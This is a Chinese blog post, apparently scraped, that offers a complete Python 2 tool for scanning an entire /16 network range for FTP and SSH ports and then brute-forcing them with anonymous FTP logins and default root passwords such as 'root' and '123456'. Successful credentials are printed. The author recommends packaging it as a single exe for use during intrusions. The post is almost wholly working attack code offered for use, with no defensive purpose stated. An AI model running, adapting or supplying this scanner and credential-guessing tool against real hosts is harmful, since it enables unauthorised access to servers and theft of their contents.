美文网首页
端口扫描+FTP爆破+SSH爆破 小公举

端口扫描+FTP爆破+SSH爆破 小公举

作者: xi4okv | 来源:发表于2017-12-19 11:03 被阅读102次

渗透时请pyinstall打包成单个exe来食用!味道更佳!

import socket
from multiprocessing import Pool
import sys, os, time
from ftplib import FTP
from paramiko import SSHClient
from paramiko import AutoAddPolicy

usernames = ["root"]
passwords = ["root","123456"]
ports = [21,22]

def ssh_login(hostname,port,username,password):
    ssh = SSHClient()
    ssh.set_missing_host_key_policy(AutoAddPolicy())
    try:
      ssh.connect(hostname, port, username, password)
      ssh.close()
      print hostname+"==>"+username+":"+password
    except Exception, e:
      status = 'error'
    


def ftp_login(hostname,username,password):
    try:
        ftp = FTP(hostname)
        ftp.login(hostname,username, password)
        ftp.quit()
        print hostname+"==>"+username+":"+password
    except Exception, e:
        pass

def anon_login(hostname):
    try:
        ftp = FTP(hostname) 
        ftp.login()
        ftp.quit()
        print hostname + "==>anon"
    except Exception, e:
        pass


def portcheck(target):
    ip, port = target.split(":")
    try:  
        cs = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        cs.settimeout(float(0.5))
        address=(ip, int(port))
        status = cs.connect_ex((address))
        if status == 0:
            print ip + ":" + port 
            return ip + ":" + port 
    except Exception ,e:   
        print "error:%s" %e  
    finally:
        cs.close()

if __name__ == '__main__':
    # portscan
    if len(sys.argv) == 2: 
        print "Port Scaning ..."
        ip = sys.argv[1] + "."
        targets = []
        for ip_c in range(254):
            for ip_d in range(254):
                for port in ports:
                    targets.append(ip + str(ip_c) + "." + str(ip_d) + ":" + str(port))
        pool = Pool(100)
        results = pool.map(portcheck, targets)
        pool.close()
        pool.join()
        print "\nScan end"

    elif sys.argv[2] == "ftp":
        print "Ftp Brute ..."
        ip_c = sys.argv[1] + "."
        targets = []
        for ip_d in range(254):
            targets.append(ip_c + str(ip_d) + ":" + str(21))
        pool = Pool(10)
        results = pool.map(portcheck, targets)
        pool.close()
        pool.join()
        for hostname in results:
            if hostname is not None:
                hostname = hostname.split(":")[0]
                anon_login(hostname)
                for username in usernames:
                    for password in passwords:
                        ftp_login(hostname,username,password)
        print "\nScan end"

    elif sys.argv[2] == "ssh":
        print "SSH Brute ..."
        ip_c = sys.argv[1] + "."
        targets = []
        for ip_d in range(254):
            targets.append(ip_c + str(ip_d) + ":" + str(22))
        pool = Pool(10)
        results = pool.map(portcheck, targets)
        pool.close()
        pool.join()
        for hostname in results:
            if hostname is not None:
                hostname = hostname.split(":")[0]
                for username in usernames:
                    for password in passwords:
                        ssh_login(hostname,22,username,password)
        print "\nScan end"


相关文章

  • 端口扫描+FTP爆破+SSH爆破 小公举

    渗透时请pyinstall打包成单个exe来食用!味道更佳!

  • hydra使用体验

    Hydra是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持L...

  • 常用网络端口攻击

    1.对于21端口渗透的几种方法 (1)基础爆破:利用FTP爆破工具,如hydra和msf下的FTP爆破模块;(2)...

  • 常用端口利用

    1.对于21端口渗透的几种方法 (1)基础爆破:利用FTP爆破工具,如hydra和msf下的FTP爆破模块;(2)...

  • hydra爆破使用手册

    hydra参数介绍 hydra爆破场景 hydra爆破API接口或表单 hydra爆破ssh服务

  • 资产狩猎框架-AssetsHunter【V1.1】

    V1.1 更新日志 新增Cracks轻量级爆破模块目前支持mysql、redis、ftp、ssh 新增字典模块来自...

  • python爆破SSH

    这次的脚本需要依赖第三方模块,为了方便在linux上运行。 pexpect库的安装 首先确保linux上安装有py...

  • Telnel的hontel蜜罐分析

    Telnel的hontel蜜罐分析 简介 互联网上经常有机器人等爆破telnet,ssh弱口令等。如果爆破成功,则...

  • 【附下载】爆破神器之超级弱口令检查工具使用

    前言: 在渗透测试中,针对各项服务(FTP、RDP等)的爆破往往是繁琐的,一款好用的爆破工具,可以提高渗透测试的效...

  • 英语音标基础6

    二、不完全爆破 ① 爆破音中的任何两个爆破音相邻时,前一爆破音失去爆破。 如:a bi(g) car等。 ② 爆破...

网友评论

      本文标题:端口扫描+FTP爆破+SSH爆破 小公举

      本文链接:https://www.haomeiwen.com/subject/iydbwxtx.html